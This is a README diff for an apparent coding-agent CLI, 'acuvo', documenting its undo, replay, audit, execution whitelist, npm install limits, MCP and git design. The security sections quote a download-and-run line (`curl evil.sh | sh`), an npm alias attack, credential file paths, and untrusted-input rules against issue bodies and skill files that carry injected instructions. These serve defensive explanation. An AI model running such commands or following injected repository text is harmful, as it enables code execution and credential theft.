+process exits however it exits. A stale one becomes reclaimable only after its TTL *plus* a
+grace period of silence, so a slow model round cannot make a working terminal look dead.
+
+⚠️ **This is a declaration, not a guarantee.** A coding agent does not know which files it
+will write until it writes them, so `--lease` protects exactly the paths you name. Making
+coverage automatic means calling `acquire()` inside the executor's write path — that work is
+not done, and pretending otherwise would be worse than the gap.
+
+⚠️ Two defaults moved and this table was wrong about both for a while: `--max-rounds` was
+documented as 3 and `--max-tokens` as 8000. The numbers above are the exported constants,
+and `test/docs-truth.test.mjs` now fails the suite if the README and the code disagree
+again. `acuvo --help` prints the same values from the same constants — trust either.
+
+### Undo — `acuvo rewind`
+
+Verified end to end on a real run, 2026-08-14:
+
+```
+$ acuvo "add a multiply function to math.mjs, write a README, and delete stale.txt"
+  ✎ replaced math.mjs   ✎ created README.md   ✂ deleted stale.txt
+  · checkpoint 20260814-084541-84u8 — 3 files can be put back: acuvo rewind 20260814-084541-84u8
+
+$ acuvo rewind 20260814-084541-84u8
+  ✔ restored math.mjs
+  ✔ restored stale.txt
+  ✔ deleted README.md — the agent created it
+  2 restored · 1 deleted
+```
+
+Every mutation goes through two functions (`writeFile` and `deleteFile` in `lib/workspace.mjs`),
+so the previous bytes are copied at the moment they still exist — one read of a file that is
+about to be overwritten anyway. Blobs are content-addressed: three writes to one file store
+**two** blobs when two of them left it the same. Nothing is created until a run mutates
+something, and `--dry-run` records nothing at all.
+
+⚠️ **`rewind <id>` means "put the files back the way they were before that run started"**, so it
+covers that run *and everything after it*. Undoing an older run while a newer one sits on top
+would produce a state no moment in time ever had, which is not a checkpoint.
+
+⚠️ **It refuses any file you changed yourself after the run** — the sha256 of what the agent
+left is recorded, and a file that is no longer that is skipped by name with the reason.
+`--force` overrides. Nothing restored because everything conflicted exits **3**, not 0.
+
+⚠️ **The agent cannot edit its own undo history.** `.acuvo/` is hard-refused on the executor's
+write path (`agentWriteRefusal`, `lib/workspace.mjs`) — reads are untouched, so it can still
+explain what it did.
+
+### Runs are saved, and every run leaves a record
+
+Verified by running it, 2026-08-10:
+
+| flag | what it does |
+|---|---|
+| `--sessions` | List the runs saved in this workspace, newest first, and exit. Needs no API key. |
+| `--resume <id>` | Carry on from a saved run. Add an instruction to steer it: `--resume <id> "now add tests"`. |
+| `--continue` | The same, on the most recent resumable run. |
+| `--no-session` | Do not save this run. |
+| `--no-audit` | Do not append this run to the audit log. |
+| `--replay <id>` | Step through a saved run: every round, call, result and refusal. Runs **nothing** and writes nothing. |
+| `--replay <id> --only <what>` | Narrow it: `refusals`, `writes`, `runs`, `effects`, `reasoning`. A filtered call brings its result with it. |
+| `--replay <a> --diff <b>` | Compare two runs and name the step where they split. |
+
+`--replay` is how you answer "what did it actually do on Tuesday" after the terminal has
+closed. Real output, from a run made while writing this:
+
+```
+run 20260811-034506-nr33 · deepseek/deepseek-v4-flash-0731 · 2 rounds · $0.000921
+⚠ REPLAY — nothing here was re-run. Every line below is what happened then.
+── round 1 ─────────────────────────────────────────────
+  → call   write_file  path="slug.mjs"  content="export function slugify(s) {…"… (144 chars)
+  ✔ result  created slug.mjs (144 bytes)
+── round 2 ─────────────────────────────────────────────
+  → call   run_command  command="node --test slug.test.mjs"
+  ✔ passed  exit code: 0 (0.4s) — PASSED
+  counts   3 calls · 0 refused · 2 writes · 1 runs
+```
+
+⚠️ It **re-runs nothing** — same invariant `--resume` holds, and for the same reason: a
+replay that re-executed would be a command run twice by someone who typed it once. The JSON
+form says so in a field (`executed: false`) rather than only in prose.
+
+A finished run writes two things into the workspace: `.acuvo/sessions/<id>.json`, so a
+follow-up rebuilds the conversation instead of re-paying for the whole gather, and one
+line of `.acuvo/audit/<date>.jsonl` — what was asked, what changed, what verified, what it
+cost. Measured: the second turn of a resumed task cost **11,516 tokens against the first
+turn's 17,312**.
+
+The audit line carries no file contents, no command output and no model prose, and it is
+run through a redactor first (`redact`, `lib/audit.mjs`) — an OpenRouter key in your task
+text comes out as `[redacted:api-key]`. `--dry-run` writes neither file, because a dry run
+that creates two files has broken its own promise.
+
+---
+
+## Three things it does that a coding agent usually cannot
+
+### Fix a GitHub issue
+
+```bash
+acuvo --issue 42
+```
+
+Reads the issue, creates `fix/42-<slug>`, finds the cause, fixes it, runs the tests.
+
+It **stops there**. No push, no pull request — it prints the exact `git push` and `gh pr create`
+for you to run. An agent that opens a PR because it believed it was finished is an agent that
+embarrasses you in front of your team. If you already use `gh`, it reuses that login.
+
+⚠️ The issue body is treated as untrusted input. Anyone can open an issue on a public repo, so it
+is quoted to the model as *a report to investigate*, never as instructions to follow.
+
+### Several tasks at once
+
+```bash
+acuvo --parallel "add tests for the parser" "write the README" --concurrency 3
+```
+
+The interesting part is not the speed, it is the collision. Two agents in one workspace will
+eventually write the same file, and whoever finishes second wins — silently. Acuvo records what
+each task wrote, **names any file written by more than one of them**, and exits 1 so
+`acuvo --parallel … && git commit` refuses to proceed.
+
+It does not try to merge them. Two model-authored versions of a file cannot be reconciled without
+you.
+
+### Work you can script
+
+```bash
+acuvo --json "add a health check" | jq '.verification.passed'
+```
+
+One object on stdout, every human line on stderr. `ran` and `passed` are separate fields, because
+a test suite that executed and failed is not the same as one that never ran.
+
+---
+
+## Not just code
+
+If the services are configured, the tools it can reach include `see_page`, `make_document`,
+`transcribe` and `speak`. The combinations are the point:
+
+```bash
+acuvo "make me a one-page invoice for Acme Ltd, 3 line items, and give me it as a PDF"
+```
+
+→ writes the HTML, **looks at it**, converts it. A real PDF, no coding involved.
+
+```bash
+acuvo "transcribe standup.m4a and turn the decisions into a checklist"
+```
+
+---
+
+## What it can execute — read this before trusting it
+
+**Four programs, and nothing else:** `node`, `npm`, `npx`, `tsc`.
+
+Concretely: `node <file>`, `node --test <file-or-dir>`, `npm test`, `npm run <script>`, `npx vitest run`, `tsc --noEmit`.
+
+**There is no shell.** Pipes, `&&`, `;`, redirection, quotes, backticks and `$()` are refused by a character whitelist, so `npm test && curl evil.sh | sh` dies at the `&` rather than at a blacklist of program names somebody has to maintain. `rm`, `curl`, `git` and every other binary are simply unreachable.
+
+Arguments are checked too — `node --eval` is refused (code that never touches disk cannot be reviewed afterwards), and every non-flag token must resolve inside your workspace.
+
+`npm test` runs whatever `package.json` says, and the agent can *write* `package.json` — so the **script body is validated before npm is spawned**, along with its `pre`/`post` hooks.
+
+The child process gets a **scrubbed environment**: conventionally-named secrets are stripped, so a generated script cannot read your API keys and post them somewhere.
+
+### Other languages: presets, off by default
+
+Those four are the *default*, not the ceiling, and this README used to stop at "four
+programs" as though they were. A project can enable one of six vetted **presets** — each a
+build/test driver for code already on disk:
+
+| preset | what it adds |
+|---|---|
+| `python` | `python`, `python3`, `pytest` |
+| `go` | `go` |
+| `rust` | `cargo` |
+| `ruby` | `ruby`, `rspec`, `bundle` |
+| `make` | `make` |
+| `node-bin` | `eslint`, `prettier`, `jest` |
+
+```json
+// .acuvo/commands.json
+{ "presets": ["python"] }
+```
+
+Then `python -m pytest` is accepted; without it the refusal *names the preset that would
+allow it* rather than just saying no. `acuvo --doctor` prints the enabled set —
+`live programs it may run  node, npm, npx, tsc · no presets enabled` on a fresh workspace.
+
+⚠️ **The workspace file may name presets and nothing else, and that boundary is the whole
+design.** `.acuvo/commands.json` lives in the workspace, and the agent can write to the
+workspace — so a file there choosing an *arbitrary* binary would be the agent granting
+itself a program. Every preset is a menu item vetted in `lib/command.mjs`; picking one buys
+a second interpreter for code the agent could already execute with `node`. A program of
+your own choosing can only be named in **`ACUVO_ALLOW_COMMANDS`**, in the environment that
+launches the CLI, which the agent has no verb that reaches. A shell (`bash`, `sh`, `cmd`,
+`powershell`, `env`, `xargs`, …) is refused at every layer including that one.
+
+### Adding a dependency — `ACUVO_ALLOW_INSTALL=1`, off by default
+
+"Add zod validation to this endpoint" used to dead-end: the agent wrote the import and had
+no verb that could ever make it resolve. `npm install` is now available, and **only** when
+the operator sets `ACUVO_ALLOW_INSTALL=1` in the environment that launches the CLI.
+
+⚠️ **It is deliberately not a preset.** A preset can be enabled by a file inside the
+workspace, and the sentence above — *"picking one buys a second interpreter for code the
+agent could already execute"* — has to stay true. An install is not an interpreter, it is a
+**downloader**: it runs code that arrived from a stranger seconds ago and that nobody has
+read. So it uses the same door as `ACUVO_ALLOW_PUSH`, the only other verb whose blast
+radius leaves your machine.
+
+When it is on, the narrowing is the point:
+
+- **`--ignore-scripts` is forced**, derived from the argv at spawn time, so no caller can
+  forget it and no flag or `.npmrc` can switch it back on. Install hooks are how essentially
+  every npm supply-chain worm has propagated. ⚠️ **The cost is real and named:** packages
+  that compile a native addon or download a binary at install time (`esbuild`, `sharp`,
+  `better-sqlite3`, `puppeteer`) will land on disk and fail at require time. The tool result
+  says so on every install, so the agent can tell you rather than flail.
+- **Registry names only** — no URL, git, `file:`, GitHub `user/repo`, or `npm:` alias. The
+  alias is the nasty one: `zod@npm:evil-package` leaves `package.json` reading `zod`.
+- **A version, not a range.** `zod`, `zod@4.1.12`, `zod@^4.1.0`, `zod@latest`. Not `zod@*`.
+- **At most four packages per call**, and `npm ci` may name none (it installs exactly what
+  the lockfile already records).
+- **The change is saved.** `--no-save` and `--no-package-lock` are refused — an install
+  nobody can see in a diff is worse than no install. The result reports the exact line npm
+  wrote into `package.json`.
+- **A workspace `.npmrc` that redirects `registry=`, sets `ignore-scripts=false`, or names a
+  `script-shell` refuses the install.** That file is inside the workspace and the agent can
+  write it, so without this check every rule above would be decorative.
+- **`npm exec` and `npm publish` have no switch at all**, and an install can never be a
+  background process.
+
+⚠️⚠️ **What none of this solves, stated plainly: a package name chosen by a language model
+is not safe.** `zod` and `zodd` are both well-formed names, and the Shai-Hulud npm worm
+shipped payloads inside AI coding-agent config files precisely because agents install what
+they are told to install. No regex separates a typosquat from the real thing. What forced
+`--ignore-scripts` buys is that a typosquat which lands has **not executed** — it is code in
+`node_modules` that runs only if the agent's own code imports it, which is the same risk
+class as `node <file the model wrote>` rather than the strictly worse "arbitrary code ran
+during a command that looked like housekeeping".
+
+### ⚠️ There is a second execution path, and this section used to omit it
+
+`evaluate` (`lib/evaluate.mjs`) runs a JavaScript snippet the model wrote. It exists because
+the model kept reaching for `node -e "…"`, which dies on the quote whitelist above and burns
+a round — so it was given the thing instead of another sentence telling it not to.
+
+**It does not go through the command whitelist at all.** It writes the snippet to
+`.acuvo-eval-<pid>-<ts>.mjs` at the workspace root and spawns `node <that file>` directly, so
+`ALLOWED_BINARIES`, the argument grammar and the `npm` script-body validation described above
+**do not apply to it**. Omitting that from this section was the omission worth naming: the
+paragraph claimed four programs and nothing else, and there was a fifth door.
+
+What *does* apply, verified in the source:
+
+- **`--no-run` removes it.** `evaluate` is only offered when running is allowed (`lib/tools.mjs`), so the flag documented as "never execute anything" is honest about it.
+- **`--dry-run` refuses it** before anything is staged (`evaluateSnippet`).
+- The same **workspace path rules**, the same **bounded spawn**, the same **scrubbed environment** as `run_command`.
+- 4,000 characters maximum (`MAX_SNIPPET_CHARS`) — longer than that is a program, and programs get written properly.
+- The file is removed in a `finally`, including on timeout, and the snippet is **echoed back in the result**, which is what keeps the `node --eval` audit objection satisfied.
+
+The honest summary: `evaluate` cannot do anything `write_file` + `run_command` could not
+already do in two calls, which is the right test for any new capability. But it *is* a code
+execution path, and a security section that lists execution paths has to list it.
+
+### And a third: `run_program`
+
+`run_program` (`lib/spawn-argv.mjs`) starts a process too, so by the same rule it belongs in
+this list. It exists because the paragraph above is not only a security boundary, it is also
+a **capability ceiling**: a string runner cannot tell `node app.js add "buy milk"` from a
+model composing a second command, so it refuses the quote — and the agent could not execute
+the flags and arguments it had *itself just written*. Measured in three probe runs; two of
+them shipped a README describing output that had never been produced.
+
+What applies to it, verified in the source:
+
+- **The same four programs.** `ALLOWED_BINARIES` is imported from `lib/command.mjs`, not
+  re-declared. Every `node` flag *before* the script path is checked by asking
+  `validateCommand` about that one token, so `--eval`, `--require`, `--import`, `--env-file`,
+  `--inspect` and `--watch` stay closed with `command.mjs`'s own refusal sentence. There is
+  one authority and no second copy to drift.
+- **It is a strict subset, never a widening.** `.acuvo/commands.json` may only *add* presets,
+  so the four fixed binaries here can never exceed what `run_command` would allow on the same
+  machine. The asymmetry runs the other way: if you enabled the `python` preset, that reaches
+  you through `run_command` only.
+- **No shell, ever.** `spawn` with `shell: false` and an argv array. A quote, a space, a
+  `--flag`, a `;` or a `>` is *data in an argv slot* — there is no parser left to reinterpret
+  it, which is why widening the character whitelist was the wrong fix.
+- **`--no-run` withholds it and `--dry-run` refuses it**, both at the offer *and* at the
+  dispatcher, because a model can call a tool it was never shown.
+- The same **bounded spawn**, **output cap** and **scrubbed environment** — plus it deletes
+  two variables `run_command` does not: `NODE_OPTIONS` (the flag allowlist's back door, read
+  by node before argv) and `NODE_TEST_CONTEXT` (which makes a nested `node --test` return
+  exit 0 and empty output — a silent green).
+- **No detached spawning, and no process-group kill.** The child is SIGKILLed on timeout and
+  a grandchild it spawned can outlive it. Stated rather than papered over.
+
+### ⚠️ What this is not
+
+**It is not a sandbox, and calling it one would be dishonest.** `node src/thing.js`, where a language model wrote `src/thing.js` thirty seconds ago, *is* arbitrary code execution — unavoidably, because running the code is the entire point of a fix loop.
+
+The real boundary: the agent cannot compose a command, cannot pick a program, cannot pass arguments outside your workspace, and cannot see your credentials **in its environment**. The code it runs can still do anything Node can do. The mitigation is that the code is **on disk, written by tools that could not leave the workspace, and shown to you** before it runs.
+
+⚠️ Those three words matter and were missing. The scrub is a **denylist over environment
+variable names** (`SECRET_NAME`, `lib/command.mjs`). It does not reach the filesystem: a
+generated script can still read `~/.aws/credentials`, `~/.ssh/id_rsa` and
+`~/.config/gh/hosts.yml`, and a variable named `MY_DB_STRING` survives the pattern. The
+source says so about itself; this sentence used to round it up to "cannot see your
+credentials", full stop.
+
+Use `--dry-run` for a task you do not trust yet, or `--no-run` to let it write without
+executing. Both now also block the MCP spawn described below — verified by running a
+workspace containing a hostile `.mcp.json` under each flag.
+
+---
+
+## The rest of the verbs
+
+The registry holds **64 tools** (`TOOL_SCHEMAS`, `lib/tools.mjs` — count it yourself, and
+`acuvo --doctor` prints which of them would be offered on your machine). The obvious ones
+are above; **the rest** reach the model in any multi-round run (`--max-rounds` above 1,
+which is the default). You never name them — the model picks. They are listed because a
+capability only the changelog knows about is unreachable in the way that matters.
+
+| tool | what it does | when it is offered |
+|---|---|---|
+| `run_program` | Run `node` / `npm` / `npx` / `tsc` with a **real argument array** instead of a string. `run_command` has to guess whether a quote is you passing a value or the model composing a second command, so it refuses the character — which means `node bin/todo.js add "buy milk"`, `node bin/todo.js list --all` and `node --test "test/*.test.mjs"` were all unrunnable. Here each array item is exactly one argv slot, there is no shell and nothing re-parses it. | withheld by `--no-run` and by `--dry-run`, like every other way of starting a process |
+| `read_lines` · `read_around` | Windowed reads of a large file. `read_file` truncates the **middle** of a big file and gives the model nothing to act on; these truncate the **end** and hand back a `nextOffset` to continue from. `read_around` returns byte-exact text with real indentation, which is the only safe source for an `edit_file` old\_string. | always |
+| `list_engines` | **What a creative engine costs, before you spend one finding out.** Lists the Acuvo image/video/voice/face engines, whether each is on your plan, and the credit cost per image or clip. ⚠️ **This package holds no price list** — it asks your account's gateway and caches the answer under `~/.acuvo/`, because a price compiled into an npm package is the price that shipped the day you installed it, and a price in `node_modules` is one the person being billed can edit. With no answer it prints **prices unavailable** rather than a plausible number. | multi-round runs; needs no key of any kind |
+| `fetch_url` | Fetch a public page as text. GET only, no headers, private and loopback addresses refused, 10 fetches per run. | always |
+| `plan_start` · `plan_step` · `plan_status` | A visible plan with a **round countdown**. Every later round carries `plan: 1/3 done · 2 remaining: … · round 4 of 5`, so the model can see the wall it is driving at instead of spending its last round the way it spent its first. | always |
+| `declare_acceptance` · `check_acceptance` | Name the command that decides whether the job is done, and run it. A **declared** criterion sets the exit code — see below. | withheld by `--no-run`, because `check_acceptance` executes commands |
+| `list_sessions` | Lets the model see that an earlier run already attempted this. Read-only; resuming is an operator action, from the command line. | always |
+| `read_skill` | Opens one of *your* procedures — see below. | only when `.acuvo/skills/` holds at least one skill |
+| `delegate` | Hands a **read-only** research question to a helper with its own fresh context — "where is X defined", "which files call Y" — and gets back a short summary instead of everything it read. The helper is offered twelve tools, all of them reads (`SUBAGENT_TOOL_NAMES`, `lib/subagent.mjs`); it cannot write, edit, commit or run anything, it is capped at 6 rounds (4 by default), and **it cannot delegate again** (`MAX_SUBAGENT_DEPTH` = 1 — two levels is how a five-round task becomes a hundred model calls nobody authorised). | always, when model credentials reached the dispatcher — it is the one tool that spends a completion of its own, and it refuses rather than guessing a config |
+| `remember` · `forget` | Facts that outlive the run. `remember` writes one markdown file per fact into `.acuvo/memory/`; the next run reads them back into the prompt, so it does not rediscover your real test command. `forget` deletes one, because a wrong memory is worse than no memory. Bounded at 40 entries / 4,000 bytes / 400 characters a fact, oldest evicted; every fact must carry a `why`, and anything that pattern-matches a credential is refused outright — *"these files are committed to the repo, so nothing secret can go in one"*. | always |
+| `find_definition` · `find_references` · `check_types` · `list_symbols` | Real semantic navigation through a language server (typescript-language-server, pyright, rust-analyzer, gopls). | only when a server is installed **and** this project contains that language |
+
+⭐ **The two gates are the point, not a limitation.** A control that presents itself and
+does nothing is worse than one that is absent: a model offered `check_types` on a machine
+with no language server learns to try, wait and apologise. Measured while integrating
+this: a zero-dependency JavaScript package was offering all four LSP tools because
+`rust-analyzer` happened to be on the developer's `PATH` from unrelated work — installed,
+useless here, and four dead buttons. The gate is now the intersection of *installed* and
+*spoken by this project*.
+
+### Integrations — MCP, and the curated set
+
+The 64 tools above are the ones we built, and that is a real ceiling: work that lives in
+your database, your issue tracker or your browser needs an adapter nobody is going to
+write. **Model Context Protocol** is the escape — an MCP server is just a process, so
+breadth here is nearly free.
+
+⭐ **Which is exactly why access is not the edge — curation is.** Every agent in this
+category speaks MCP and hands you an empty config file. What is scarce is a short list
+somebody actually ran. `acuvo --doctor` prints ours, live, in the **MCP SERVERS** section:
+what you have configured, then what you could have, with the reason each one is off and
+the exact line that turns it on.
+
+```
+MCP SERVERS
+  live    curated servers   4 of 6 servers we have run ourselves are usable here
+                            (acuvo, browser, docs, playwright) — 8 in the catalogue in total
+  live    browser           Drive a real Chrome: click, fill forms, type, navigate …
+  live    docs              Look up current, version-specific documentation …
+  dark    filesystem        @modelcontextprotocol/server-filesystem is not installed …
+                            → npm i -g @modelcontextprotocol/server-filesystem
+```
+
+The two worth knowing about, because they cover what this CLI structurally cannot do:
+
+| server | what it adds | install |
+|---|---|---|
+| **`browser`** (Chrome DevTools MCP) | The one thing nothing here can do: **click, fill a form, type, drive a flow.** `see_page` renders and measures a page; it cannot press a button. Drives the Chrome already on your machine — no browser download. Verified: 29 tools, connected in 2.9s, navigated and read the accessibility tree back. | `npm i -g chrome-devtools-mcp` |
+| **`docs`** (Context7) | **Current, version-specific library documentation** as source-cited snippets rather than search results — the fix for a model confidently quoting an API that changed two majors ago. Verified: 2 tools, real answers, **no API key**. | `npm i -g @upstash/context7-mcp` |
+
+Then add it to `.acuvo/mcp.json` under `"mcpServers"`. `playwright` is also verified (24
+tools) if you need Firefox or WebKit — ⚠️ note it writes `.playwright-mcp/` into your
+working directory unless you pass `--output-dir`.
+
+> ⚠️ **Nothing is enabled for you, and that is arithmetic rather than caution.** A server
+> that cannot start still costs the **full 20-second handshake timeout** — measured at
+> 20,052ms — before your first prompt. Anything needing a download or a credential is
+> therefore off by default: this client passes npx `--no`, so it can only run a package
+> that is *already installed*, and it can never fetch one for you.
+>
+> ⚠️ **The canonical install line from every MCP README does not work here, by design.**
+> `{"command":"npx","args":["-y","@playwright/mcp@latest"]}` becomes `npx --no
+> @playwright/mcp@latest` — `-y` is stripped and `--no` injected so a config file can
+> never trigger a download-and-execute. Install the package globally first, and drop the
+> `@latest` tag. The catalogue's entries are already written in the form that works.
+>
+> ⚠️ **The user chooses the servers, never the model.** There is deliberately no
+> `connect_mcp_server` tool — a model that can add its own capabilities can grant itself
+> anything on the machine. And a server you configure runs with your environment: we do
+> not sandbox it and do not claim to. Read `ENTERPRISE.md` §3.1 before committing an
+> `mcp.json`, because a committed one in a repo you cloned is spawned on an ordinary run.
+>
+> ⚠️ **`docs` is a network service** — your query text goes to Upstash. Named here because
+> it is an egress path a reviewer will want to know about, like `generate_image` below.
+
+### Skills — your procedures, no pull request needed
+
+Write a markdown file in `.acuvo/skills/`:
+
+```markdown
+---
+name: new-endpoint
+description: how this project adds an HTTP endpoint
+when: adding any new route or endpoint
+---
+
+1. Every endpoint file goes in `routes/`, named `<verb>-<noun>.js`.
+2. Every endpoint must export a function called `handle`.
+3. Every file must start with `// OWNER: platform-team`.
+```
+
+The catalogue (name, description, when) goes into the system prompt; the **body** is only
+loaded when the model calls `read_skill`, so twenty skills cost you three lines of prompt
+rather than twenty documents.
+
+Measured, 2026-08-11, with exactly the skill above and the task
+`"add an endpoint that returns the current health status"` — nothing about skills in the
+prompt the user typed: the model called `read_skill` as its **first** tool and wrote
+`routes/get-health.js`, exporting `handle`, beginning with `// OWNER: platform-team`.
+
+⚠️ **A skill is notes, not permissions.** It cannot grant a tool, lift a restriction or
+override a safety rule, and both the catalogue and the loaded body say so — a skill file
+is prose sitting in a repository, so it is treated as untrusted text.
+
+### Acceptance — make the verdict be about the command *you* named
+
+`✔ VERIFIED` means *a* command exited 0. That is not the same as "the thing you asked for
+passed", and the gap is where a green tick about the wrong command lives.
+
+- A **declared** criterion (`declare_acceptance`, or `.acuvo/acceptance.json`) **decides
+  the exit code.** If it is unmet, the process exits 1 and `--json` reports
+  `failed: true`. If nothing in the run satisfied it, it is run once at the end, free —
+  no model call.
+- A **derived** criterion — read out of your own task text, e.g. `"it must pass: npm
+  test"` — is **reported and never gates.** This runner guessed it out of prose, and a
+  guess must not be able to fail a run that did the right thing under a different name
+  (`npm test` vs `npm run test`).
+
+`--json` says which you got:
+
+```json
+"acceptance": { "source": "declared", "gating": true, "verdict": "unmet",
+                "unmet": [{ "command": "npm test", "why": "it ran and exited 1" }] }
+```
+
+⚠️ **Read `.acceptance` as well as `.verification`.** A run can verify one command and
+miss the one you named; `verification.passed` will be `true` and `acceptance.verdict` will
+be `unmet`. The exit code follows the declared criterion, so `acuvo --json … && git push`
+is safe *if the criterion was declared*.
+
+### `.acuvo/` — what the CLI writes into your workspace
+
+It is one directory in **your** repository, and it holds two different kinds of thing.
+
+| path | what it is | commit it? |
+|---|---|---|
+| `.acuvo/sessions/` | Resumable runs, newest 20 kept. What `--sessions`, `--resume` and `--replay` read. | **no** — machine-local, and large |
+| `.acuvo/audit/<date>.jsonl` | One redacted line per invocation: what was asked, what changed, what verified, what it cost. Never file contents, command output or model prose. | **your call.** Ignore it by default; commit it deliberately if the record is the point |
+| `.acuvo/plan.json`, `.acuvo/acceptance.json` | The agent's own bookkeeping for the run in progress. | no |
+| `.acuvo/steer.txt` | An instruction you write WHILE it works — see below. Read and deleted at the next round boundary. | no |
+| `.acuvo/skills/*.md` | *Your* procedures — see above. | **yes** |
+| `.acuvo/memory/*.md` | Facts `remember` recorded, one file each. Markdown on purpose: diffable, reviewable in a PR, and the reason a credential is refused before it can be written. | **yes** |
+| `.acuvo/commands.json` | Which command presets this project enables — see below. | **yes** |
+| `.acuvo/mcp.json` | MCP servers to connect to (`.mcp.json` at the root is also read, second). Written by you; no tool can add one. | yes, if your team shares them — and read `ENTERPRISE.md` §3.1 first, because a *committed* one in a repo you cloned is spawned on an ordinary run |
+
+So the ignore rule is not `.acuvo/`, and this section used to say it was — which would have
+thrown away the three files that are meant to travel with the repo:
+
+```gitignore
+.acuvo/*
+!.acuvo/skills/
+!.acuvo/memory/
+!.acuvo/commands.json
+```
+
+`--no-session` and `--no-audit` opt out of the two records; `--dry-run` writes neither.
+
+### Steering it mid-run — `.acuvo/steer.txt`
+
+A run is not a thing you can only watch or kill. Write a line into `.acuvo/steer.txt` from
+anywhere — another terminal, your editor, a script — and the run picks it up at the **next round
+boundary**, appends it to the conversation as something *you* said, and carries on from the same
+transcript. Nothing already done is thrown away.
+
+```bash
+echo "stop writing tests, just fix the import" > .acuvo/steer.txt
+```
+
+What you see, from a real run:
+
+```
+  ⚠ stopped after round 8 — you steered the run mid-flight
+  ⤳ steering: "stop writing tests, just fix the import" — applied now, 2 rounds left · $0.002161 spent so far
+
+── round 1/2 ─────────────────────────────
+  The user changed direction: I will keep only the circle function …
+```
+
+- **It is a file, not a keystroke,** because interactive mode gives stdin to `readline` and one-shot
+  mode — the long case, the one that needs it — has no keyboard in the loop at all. A file works in
+  both, and can be written by something that is not a person.
+- **Read once, then deleted.** An instruction you gave once must not become one you cannot stop giving.
+- **The rounds are not refilled.** The continuation gets what was left of `--max-rounds`, and the
+  `--budget` ceiling covers the whole turn, not each segment of it.
+- **Bounded** to 3 steers per turn, and a steer that could not be applied says so rather than vanishing.
+
+### Stopping it — Ctrl-C
+
+The **first** press stops the run at the end of the round in flight: the transcript is saved, the cost
+is recorded, the changes are reported, and `acuvo --resume` carries on. The **second** press quits
+immediately. Either way the exit code is **130** (128+SIGINT), never `1` — `1` means "the code it
+wrote still does not pass", and a script that cannot tell those apart retries the wrong one.
+
+---
+
+## What it sends before it starts
+
+Every fresh task begins with a **repo map**: the directory tree plus the exported symbols of
+the source files, bounded to about 6,000 tokens (`DEFAULT_BUDGET_TOKENS`, `lib/repo-map.mjs`),
+and byte-stable so the prompt prefix caches. Files that do not fit are named as a count per
+directory, with a pointer to `find_files` / `search_text` — omitted, never silently absent.
+
+⚠️ **This replaced an older pre-read that had two real defects**, and both are fixed rather
+than mitigated:
+
+- It walked only **two levels** and read the *contents* of every small file it found. A module
+  four directories down was invisible, so the model would invent a plausible file and write
+  over the wrong one.
+- It sent the **body of gitignored files** to the provider. The map lists a path when the tree
+  shows one and never reads an ignored file's contents. `.env`, `*.pem`, `id_rsa` and other
+  credential-shaped files are withheld entirely and reported as a count.
+
+If a workspace cannot be read, the map is simply empty and the task proceeds — a pre-read is
+an optimisation, not a precondition, and it may never be the thing that kills a run.
+
+---
+
+## Git
+
+Git is exposed as **structured verbs**, not as a command string: `git_status`, `git_diff`, `git_log`, `git_commit`.
+
+`push`, `reset`, `checkout`, `clean`, `rebase` and `merge` are not refused — they are **inexpressible**. There is no path from a model-authored string to a git subcommand it was not given.
+
+Two deliberate restrictions:
+
+- **Commit requires you to name the paths.** There is no "commit everything": sweeping up files nobody looked at is how scratch files and secrets get committed.
+- `.env`, `*.pem`, `id_rsa` and friends are **never** staged, whatever `.gitignore` says. History keeps a secret after you delete it.
+
+⚠️ If your workspace sits *inside* a larger repository, git commands are refused. Git walks upward to find a repo, so operating from a subdirectory would report — and commit — changes from the whole outer project.
+
+---
+
+## Media tools
+
+Four of these are **only offered when you configure their endpoint**. A tool whose service is absent is never mentioned, so the agent cannot waste a round discovering it does not work.
+
+| tool | env | what it does |
+|---|---|---|
+| `see_page` | `RENDER_AUDIT_URL` | Render your HTML in a real browser; save the screenshot, report measured layout problems. |
+| `speak` | `MODAL_TTS_URL` | Text → an audio file in your workspace. |
+| `transcribe` | `MODAL_TRANSCRIBE_URL` | Audio/video → text with timestamped segments. |
+| `make_document` | `MODAL_PRESS_URL` | HTML → PDF, PNG or PPTX. |
+| *(all four)* | `MODAL_VIDEO_SECRET` | The shared secret those endpoints expect. |
+
+> ⚠️ **`MODAL_VIDEO_SECRET` is the one that costs the most time, and it used to be
+> documented nowhere.** It is not a URL, so it never appears in an error about a missing
+> endpoint — a correctly-set URL *without* it fails authorisation and reads like a broken
+> service. Its absence is what made four working tools look broken. `acuvo --doctor` now
+> distinguishes the three states explicitly: **live** (reachable *and* authorised),
+> **dark** (unset — the tool is simply never offered), **broken** (set, and not answering).
+
+### `--design <file.html>` — the design loop, without the agent
+
+```bash
+acuvo --design index.html
+```
+
+Renders the page, looks at it, and prints a verdict. No model call, no completion spent.
+Real output, on a page written for this README:
+
+```
+LOOKED AT index.html — 1280×900
+1. unreadable text (contrast 1.71:1, needs 4.5): Zero dependencies. One file. It runs what it writes.
+2. the page scrolls sideways: content is 2590px wide in a 1280px viewport
+  screenshot: .acuvo/render-1786419880418.png (19KB)
+```
+
+Exit 0 when the page was looked at and nothing was found; 1 when the look failed **or** the
+page has findings. On a terminal that speaks kitty or iTerm2 the actual pixels are drawn
+inline — the path line stays either way, because the image is an addition to the report and
+never a replacement for it.
+
+⚠️ **"Could not look" is never reported as "the page is fine."** With `RENDER_AUDIT_URL`
+unset it names that variable and makes no claim about the page. The JSON form carries the
+same distinction in a field (`trustworthy`), so a script cannot mistake one for the other.
+
+⭐ The same verdict is what the *agent* now reads when it calls `see_page`. Measured: the
+verdict is **26 tokens** where the raw tool record was **205** and the screenshot itself
+would be **1,536**. Anyone can take the photograph; the compression is the product.
+
+### Voice — `--task-audio` in, `--say` out
+
+```bash
+acuvo --task-audio note.wav          # transcribe a file and run what it says
+acuvo --say "fix the failing test"   # speak the verdict when the run ends
+```
+
+⚠️ **It shows you the transcript and waits.** Enter cancels, `y` runs it, and anything else
+is treated as a correction — `"no, the server not the sensor"` fixes a mis-heard word
+without retyping the task. That keystroke is the whole thing standing between a mis-heard
+word and a file-writing agent, so there is no way to skip it except `--yes`, which is
+required in a pipe, in CI, or with `--json` (where there is nobody to ask).
+
+A full round trip, run 2026-08-11: `--say` wrote a 424KB `.wav`, that file was fed back in
+with `--task-audio`, and the transcript came back as *"Create a file called Greeting.Text
+containing the word working."* — which, confirmed with `--yes`, the agent then did.
+
+```
+  heard in ask.wav:
+
+    "Create a file called Greeting.Text containing the word working."
+
+  run it? [y = yes · Enter = no · or type a correction]
+```
+
+**It does not record and it does not play.** `--task-audio` needs a file that already
+exists; `--say` writes a `.wav` and prints the one command that plays it on your OS. Both
